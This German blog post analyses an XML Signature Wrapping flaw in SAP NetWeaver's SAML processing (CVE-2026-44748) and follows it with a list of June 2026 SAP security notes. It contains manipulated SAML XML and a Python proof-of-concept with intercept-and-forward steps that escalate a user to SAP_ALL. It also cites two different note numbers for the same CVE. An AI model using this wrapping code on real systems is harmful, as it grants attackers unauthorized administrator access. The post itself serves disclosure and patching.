CVE-2026-44748: Warum SAML Signatures scheitern — und wie XSW das ausnutzt (PoC)

Seit dem Juni Patch Day steht die „Patch Note 3746332“ im Fokus.
Warum hat die einen CVSS 9.9 wert?
Und warum bekommt ein „low-priv User“ plötzlich SAP_ALL, ohne dass der IdP (Entra ID) auch nur mitbekommt, dass die Rollen manipuliert wurden?
Ich habe mir die Mechanics der XML Signature Wrapping (XSW) Attacke angesehen. Hier ist, was wirklich passiert.

Das Problem: Crypto-Validierung vs. XPath-Logik

SAML Assertions werden signiert. Das ist klar. Die Falle liegt im Scope der Auswertung. Im betroffenen NetWeaver-SP wurde die kryptografische Signatur über einen spezifischen XML-Knoten (<ds:Reference URI="#_assertion_id">) validiert. Die Attribute-Resolution (Rollen, Gruppen) hat aber einen ungenauen XPath-Pfad genutzt, um <saml:AttributeStatement> im Dokument zu suchen. Ergebnis: Die Krypto-Prüfung validiert das eine Element (die ID). Die Applikationslogik liest ein anderes, injiziertes Element aus. Das ist reiner XSW.

Der Angriffsschritt

1. Legitimer Login (Struktur)

User t.werth@test.onmicrosoft.com loggt sich per SAML in SAP ein. Entra ID generiert eine signierte Response. Die Struktur ist strikt:

<samlp:Response ID="_resp">
<saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>

<ds:Signature>
<ds:SignedInfo>
<!-- Signiert den Inhalt von _assertion_id -->
<ds:Reference URI="#_assertion_id">
<!-- ... DigestValue ... -->
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
</ds:Signature>

<!-- Die eigentliche Assertion -->
<saml:Assertion ID="_assertion_id">
<saml:Subject>...</saml:Subject>

<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_Users</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Alles sauber. Signatur deckt _assertion_id ab. Rollen sind SAP_Users.

2. Intercept & Wrap (XSW Manipulation)

Hier kommt XSW ins Spiel. Der Angreifer fängt die Response ab und manipuliert die XML-Struktur.

Wir fügen ein neues, unsigniertes Element in den Response-Baum ein — auf derselben Ebene, außerhalb der signierten Assertion, aber innerhalb des Response-Dokuments.

<samlp:Response ID="_resp">
<saml:Issuer>https://sts.windows.net/tenant-id/</saml:Issuer>

<!-- ✨ INJEKTION: Unsigniertes Schwesterelement ✨ -->
<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_ALL</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#_assertion_id">
<!-- Digest passt weiterhin auf die Assertion unten! -->
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>Z0FBQ0I...</ds:SignatureValue>
</ds:Signature>

<!-- Original Assertion (intakt) -->
<saml:Assertion ID="_assertion_id">
<saml:Subject>...</saml:Subject>

<saml:AttributeStatement>
<saml:Attribute Name="groups">
<saml:AttributeValue>SAP_Users</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

3. Was NetWeaver macht

* Der Krypto-Check: Der Validator löst die Referenz #_assertion_id auf. Er prüft den Digest nur für diesen spezifischen Knoten. Da dieser Knoten unverändert ist, ist die Signatur mathematisch 100% gültig.

* Die Business-Logik: Der XML-Parser nutzt einen „dummen“ XPath (z.B. //saml:AttributeStatement[1]), um die Gruppen zu lesen. Der Parser findet das erste* AttributeStatement im Baum. * Das ist jetzt unser injiziertes Element: SAP_ALL.

* Das Ergebnis: Die Session wird mit Admin-Rechten erstellt. Entra ID hat alles korrekt signiert. Die Signatur ist echt. Der Fehler liegt exklusiv in der XML-Verarbeitung auf Empfängerseite: Sie kopiert die Krypto-Validierung und die Daten-Extraktion nicht an denselben Knoten.

PoC (Python, concept level)

import base64
from lxml import etree

def xsw_wrap_saml(original_b64: str, inject_roles: list) -> str:
"""
SAML Response Wrap PoC
Fügt ein unsigniertes AttributeStatement als Schwesterelement der Assertion ein.
"""
# XML dekodieren
xml_bytes = base64.b64decode(original_b64)
response = etree.fromstring(xml_bytes)

# Namespaces sauber registrieren, um ns0-Präfixe zu verhindern
SAML_NS = 'urn:oasis:names:tc:SAML:2.0:assertion'
etree.register_namespace('saml', SAML_NS)

# 1. Neues AttributeStatement erstellen
fake_attrs = etree.Element(f'{{{SAML_NS}}}AttributeStatement')
roles_attr = etree.SubElement(fake_attrs,
f'{{{SAML_NS}}}Attribute',
Name='groups')

for role in inject_roles:
val_elem = etree.SubElement(roles_attr, f'{{{SAML_NS}}}AttributeValue')
val_elem.text = role

# 2. Position der Assertion bestimmen
insert_index = 0
for i, child in enumerate(response):
if 'Assertion' in child.tag:
insert_index = i
break

# Vor der echten Assertion einfügen
response.insert(insert_index, fake_attrs)

# 3. Export OHNE erzwungenes c14n, um die Original-Signaturelemente nicht zu verfälschen
return base64.b64encode(etree.tostring(response, xml_declaration=True, encoding='utf-8')).decode()

Usage:

1. Proxy fängt SAMLResponse POST ab

2. xsw_wrap_saml() injiziert unsigniertes Element

3. Payload an SAP weiterleiten

4. SAP_ALL Session zurück (weil XPath das falsche Element trifft)

Warum das kein „Edge Case“ ist

SAML/XSW ist ein bekanntes Strukturgremium-Problem:

* XSW-XSS / XSW-XML — ähnliche Pattern bei SOAP & OAuth

* XPath Resolution Mismatch — Validator nutzt ID-Reference, App nutzt //tag[1]

* Scope-Verletzung — Die Validierung findet im Scope #_id statt, die Nutzung im Scope Response.

Das funktioniert mit jedem IdP: Entra ID, Okta, Keycloak. Der IdP ist irrelevant. Die Signatur wird nicht gebrochen, sie wird nur „umgangen“, indem der Parser den falschen Pfad im Baum nimmt.

Remediation Patchen:

Security Note 3746332 installieren. Sofort.

* CVE-2026-44748 ist ein XSW-Angriff auf SAML in SAP NetWeaver

* Signatur bleibt mathematisch gültig — der XPath-Pfad liest nur das falsche Element

* Low-priv User → SAP_ALL in einem Request * Entra ID hat nie mitbekommen, was passiert

* Patch + Scope-Validierung + XPath-Hardening = gut

Aktuelle Patches

Top 10 der SAP Security Notes für Juni 2026.

1. Score 9.9   (Hot News)

Nummer: 3733332

 [CVE-2026-44748] XML Signature Wrapping in SAML-Authentifizierung in SAP NetWeaver AS ABAP und ABAP-Plattform

Der SAP NetWeaver Application Server ABAP sowie die ABAP-Plattform weisen eine Schwachstelle auf, durch die ein authentifizierter Benutzer mit regulären Berechtigungen eine gültig signierte Nachricht erhalten und anschließend veränderte, signierte XML-Dokumente an die prüfende Instanz übermitteln kann. Dadurch besteht die Gefahr, dass manipulierte Identitätsinformationen akzeptiert werden. In der Folge können unberechtigte Zugriffe auf vertrauliche Benutzerdaten erfolgen und die ordnungsgemäße Nutzung des Systems beeinträchtigt werden. Die Sicherheitslücke kann erhebliche Auswirkungen auf die Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Anwendung haben.

2. Score 9.8   (Hot News)

Nummer: 3724897

[CVE-2026-27671] Speicherbeschädigungsschwachstelle in Application Server ABAP von SAP NetWeaver und ABAP-Plattform

Eine fehlerhafte Validierung des RFC-Protokolls im SAP-Kernel, der vom Application Server ABAP innerhalb von SAP NetWeaver sowie der ABAP-Plattform genutzt wird, ermöglicht es einem nicht authentifizierten Angreifer, eine gezielt präparierte RFC-Anfrage zu übermitteln. Durch die Ausnutzung von Schwächen in der Speicherverwaltung kann dies zu Speicherbeschädigungen führen. Die daraus resultierenden Auswirkungen können die Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Anwendung in erheblichem Maße beeinträchtigen.

3. Score 9.1   (Hot news)

Nummer: 3732262

[CVE-2026-22732] Mögliche Spring-Security-Schwachstelle in SAP Commerce Cloud und SAP Data Hub

SAP Commerce Cloud und SAP Data Hub setzen eine Version von Spring Security ein, die möglicherweise von der Schwachstelle CVE-2026-22732 betroffen ist. In bestimmten Szenarien kann es dazu kommen, dass Spring Security HTTP-Antwort-Header, darunter auch sicherheitsrelevante Header, nicht ordnungsgemäß in die Antwort einfügt. Dies kann erhebliche Auswirkungen auf die Vertraulichkeit und Integrität der Anwendung haben, während die Verfügbarkeit davon unberührt bleibt.

4. Score 9.0  (Hot News)

Nummer: 3730078

[CVE-2026-40128] Directory-Traversal-Schwachstelle in SAP NetWeaver Application Server Java (Web-Container)

Im Web-Container des SAP NetWeaver Application Server Java besteht die Möglichkeit, dass ein nicht authentifizierter Angreifer eine manipulierte HTTP-Anfrage zur Anmeldung erstellt. Durch die gezielte Beeinflussung von Dateieinbindungsparametern kann ein Path-Traversal-Angriff durchgeführt und die Verarbeitung einer eingebundenen Datei ausgelöst werden. Dadurch könnte der Angreifer auf vertrauliche Informationen zugreifen, Daten verändern oder die Funktionsfähigkeit einzelner Komponenten des lokalen Systems beeinträchtigen.

5. Score 7.4   (High Priority)

Nummer: 3718484

[CVE-2026-29145] Mehrere Schwachstellen in Apache Tomcat in SAP Commerce Cloud

Symptom
Dieser Sicherheitshinweis beschreibt mehrere bekannte Sicherheitslücken in Apache Tomcat, die SAP Commerce Cloud betreffen. Weitere Informationen zu den einzelnen Schwachstellen sowie die zugehörigen CVE- und CVSS-Bewertungen sind nachfolgend aufgeführt.

SAP Commerce Cloud nutzt eine Apache-Tomcat-Version, die verschiedene bekannte Schwachstellen enthält. Die betroffenen Fehler stehen im Zusammenhang mit Mechanismen zur zertifikatsbasierten Authentifizierung und Zertifikatsprüfung.

CVE-2026-29145
Unter bestimmten, nicht standardmäßigen Konfigurationen kann ein Fehler dazu führen, dass die Authentifizierung mittels Client-Zertifikat erfolgreich durchgeführt wird, obwohl sie eigentlich fehlschlagen müsste. Dadurch könnte ein unbefugter Zugriff auf geschützte Ressourcen ermöglicht werden. Die Schwachstelle hat erhebliche Auswirkungen auf die Vertraulichkeit und Integrität der Anwendung, während die Verfügbarkeit nicht betroffen ist.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE-2025-66614
Bei bestimmten Nicht-Standardkonfigurationen kann eine inkonsistente Prüfung zwischen dem SNI-Wert und dem HTTP-Host-Header dazu führen, dass die Durchsetzung von Client-Zertifikaten umgangen wird. Dies kann die Vertraulichkeit und Integrität der Anwendung erheblich gefährden, ohne die Verfügbarkeit zu beeinträchtigen.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE-2026-24734
Eine fehlerhafte Überprüfung von OCSP-Antworten kann unter bestimmten Konfigurationsbedingungen dazu führen, dass widerrufene Zertifikate weiterhin für Authentifizierungszwecke akzeptiert werden. Dadurch entstehen erhebliche Risiken für die Vertraulichkeit und Integrität der Anwendung, während die Verfügbarkeit unverändert bleibt.
CVSS: 7.4; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

6. Score 7.1   (High Priority)

Nummer: 3721546

[CVE-2026-44751] Fehlende Berechtigungsprüfung in Application Server ABAP von SAP NetWeaver und ABAP-Plattform

Im Application Server ABAP werden für einen bereits authentifizierten Anwender nicht alle notwendigen Berechtigungschecks durchgeführt. Dies erlaubt es einem Angreifer, einen Befehl zur Erstellung eines Berichts abzusetzen, durch den möglicherweise Daten eines anderen Nutzers überschrieben werden. Die Folge ist eine Eskalation von Berechtigungen. Die Auswirkungen auf die Integrität sind erheblich, auf die Verfügbarkeit gering; die Vertraulichkeit bleibt unbeeinträchtigt.

7. Score 6.6   (Medium Priority)

Nummer: 3716819

[CVE-2026-44754] Fehlender Aufruferidentifikations-Check-In für ODP-Datenreplikations-APIs

Bei den RFC-Bausteinen der ODP-Datenreplikations-API (ODP-RFC) unterbleibt die Prüfung, ob der Aufrufer eine zulässige SAP-interne Anwendung ist. Dadurch können Kunden- oder Drittanbieteranwendungen diese Bausteine auf eine nicht vorgesehene Weise nutzen. Dies birgt die Gefahr einer versehentlichen Datenpreisgabe. Die Integrität der Daten bleibt jedoch unberührt, und das Risiko für die Verfügbarkeit der Anwendung ist äußerst gering.

Weitere Details enthält der SAP-Hinweis 3255746.

8. Score 6.5   (Medium Priority)

Nummer: 3728691

[CVE-2026-44744] SQL-Injection-Schwachstelle in SAP S/4HANA

In der lokalen Version von SAP S/4HANA (On-Premise) liegt eine Schwachstelle bezüglich SQL-Einschleusung vor. Diese betrifft eine remote aufrufbare Funktionsbaustein-Komponente. Ein authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um nicht autorisierte Datenbankabfragen durchzuführen. Dadurch werden vertrauliche Daten preisgegeben, zu denen ein Angreifer normalerweise keinen Zugang hätte. Die Vertraulichkeit ist damit erheblich betroffen, während Integrität und Verfügbarkeit der Anwendung unbeeinträchtigt bleiben.

9. Score 6.1   (Medium Priority)

Nummer: 3726655

[CVE-2026-44746] Reflected-Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver AS Java (JDBC Test Servlet)

Aufgrund einer Reflected-Cross-Site-Scripting-Schwachstelle (XSS) in SAP NetWeaver AS Java (JDBC Test Servlet) kann ein nicht authentifizierter Angreifer eine URL erstellen, die ein schädliches Skript einbettet. Klickt ein Opfer auf diesen Link, wird die eingeschleuste Eingabe während der Webseitengenerierung verarbeitet, was die Ausführung von schädlichen Inhalten im Browser des Opfers zur Folge hat. Dies könnte es dem Angreifer ermöglichen, auf Informationen zum Web-Client zuzugreifen und/oder diese zu ändern, wodurch Vertraulichkeit und Integrität der Anwendung beeinträchtigt werden. Die Verfügbarkeit bleibt unbeeinträchtigt.

10. Score 4.7   (Medium Priority)

Nummer: 3726280

[CVE-2026-44757] Cross-Site-Scripting-Schwachstelle (XSS) in CA Introscope Enterprise Manager

Im CA Introscope Enterprise Manager kann ein nicht authentifizierter Angreifer eine manipulierte URL erstellen. Wenn ein Opfer diese URL unter bestimmten Voraussetzungen aufruft, wird ein eingeschleuster Skriptcode im Browser des Opfers ausgeführt – und zwar im Kontext der betroffenen Anwendung. Diese Schwachstelle beeinträchtigt die Vertraulichkeit und Integrität der Anwendung in geringem Maße, während die Verfügbarkeit davon unberührt bleibt.

>> Weitere Security Notes  https://me.sap.com/securitynotes

Das regelmäßige Einspielen von Security-Patches ist aus drei Gründen unverzichtbar:

  • Schutz vor Totalausfall & Sabotage: Wie die aktuellen Meldungen zu Denial-of-Service (DoS) zeigen, können Angreifer Systeme gezielt lahmlegen. Ohne Patches riskieren Unternehmen kostspielige Stillstände der gesamten Produktion oder des Vertriebs.

  • Prävention von Datendiebstahl: Schwachstellen wie SQL-Injections oder XML-Manipulationen sind offene Türen für Industriespionage. Einmal im System, können Angreifer unbemerkt sensible Geschäftsgeheimnisse oder Kundendaten absaugen.

  • Compliance & Haftung: Gesetzliche Anforderungen (wie die DSGVO) und interne Audits fordern ein angemessenes Sicherheitsniveau. Wer bekannte Lücken offen lässt, handelt grob fahrlässig und riskiert nicht nur Bußgelder, sondern auch einen massiven Reputationsverlust.